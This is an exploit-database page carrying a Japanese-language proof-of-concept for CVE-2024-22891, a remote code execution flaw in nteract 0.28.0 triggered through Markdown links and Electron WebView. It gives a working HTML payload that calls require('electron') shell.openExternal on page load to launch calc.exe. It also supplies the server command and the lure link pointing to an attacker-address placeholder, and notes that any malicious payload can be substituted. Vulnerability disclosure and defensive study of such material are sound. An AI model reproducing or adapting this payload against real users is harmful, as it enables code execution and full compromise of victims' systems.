Sploitus

Exploit for CVE-2024-22891

kitploit · 2026-09-03

Exploit Code

MARKDOWN90 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-EQSTLAB-CVE-2024-22891
# Nteract PoC

CVE-2024-22891 の脆弱性に対する Proof-Of-Concept(実証コード)です。   
  
nteract 0.28.0 は Markdown リンクを介して Electron WebView を許可するため、リモートコード実行(RCE)が発生します。

## このリポジトリには、脆弱なアプリケーションの例と、それに対する Proof-of-Concept(POC)エクスプロイトが含まれています。PoC として、プロセスを自動化する Python ファイルがあります。

#### 1\. 脆弱性の概要:

  * 脆弱性の対象: Markdown リンク RCE
  * 脆弱性の種類: その他: オープンリダイレクト
  * 問題の顕在化: Electron WebView
  * 影響を受けるコンポーネント: markdown
  * 攻撃タイプ: リモートコード実行
  * 攻撃経路: この脆弱性を悪用するには、ユーザーがリンクをクリックするか、共有されたプロジェクトのリンクにアクセスする必要があります。
  * 予約済み CVE 番号: CVE-2024-22891



* * *

#### 2\. 脆弱性の原因:

  * nteract 0.28.0 は Markdown リンクを介して Electron WebView を許可するため、リモートコード実行が発生します(webPreferences の nodeIntegration が true であるため)。

  * エクスプロイトの説明

    * アプリケーション内で MarkDown を使用してリンクを生成すると、Electron を介して WebView が作成され、リンクへの外部アクセスが可能になります。その結果、攻撃者は攻撃者のサーバーに誘導するリンクを開かせることで、リモートコード実行(RCE)を達成できます。



## Proof-of-concept (POC)

**ステップ 1)攻撃者は、openExternal() 関数を使用して calc.exe を起動するためのソースコードをサーバー上に用意します。**

root@kitploit:~
    
    
    <html>
    <head>
        <title>jruru Link</title>
    </head>
    <body>
        <a id="jruruLink">jruru Link</a>
    
        <script>
             // Script function definition
            function openExternal() {
                try {
                    const { shell } = require('electron');
                    shell.openExternal('file:C:/Windows/System32/calc.exe');
                } catch(e) {
                    alert('JRURU - External link cannot be opened.');
                    console.error(e);
                }
            }
            // Automatically execute openExternal function after the page is loaded
            document.addEventListener('DOMContentLoaded', function() {
                openExternal();
            });
        </script>
    </body>
    </html>
    

**注記:** ※ すぐにテストしたい場合は、攻撃者の PC に以下のコードでサーバーを作成してください。

root@kitploit:~
    
    
    $ python -m http.server 80
    

**ステップ 2)被害者のシステムで nteract アプリケーションを実行し、Markdown リンクを作成するか、攻撃者の ipynb ファイルをサンプルコードとして共有します。その後、calc.exe を実行します。**

root@kitploit:~
    
    
    [Read This] (http://[attcker_adress]/shard_data.html)
    

![neteract](https://assets.kitploit.com/production/public/readmes/35773/29f076cd00766556436becf6ffa185ba57106b0a69fba745c4d0d19e9b1a9f4d.png) ![nteract2](https://assets.kitploit.com/production/public/readmes/35773/a4e781709793b6e605a4f5350b01203d1bdc9d8ff237e20fdd5155b987c32580.png)

* * *

### 3\. 補足情報

ファイル共有を介して .ipynb ファイルを実行する場合、リンクが表示されない可能性があるため注意してください。この calc.exe は、ローカルまたはリモートの任意の悪意あるペイロードに置き換えることができ、攻撃者に被害者のシステムへの完全なアクセスを与えていた可能性があります。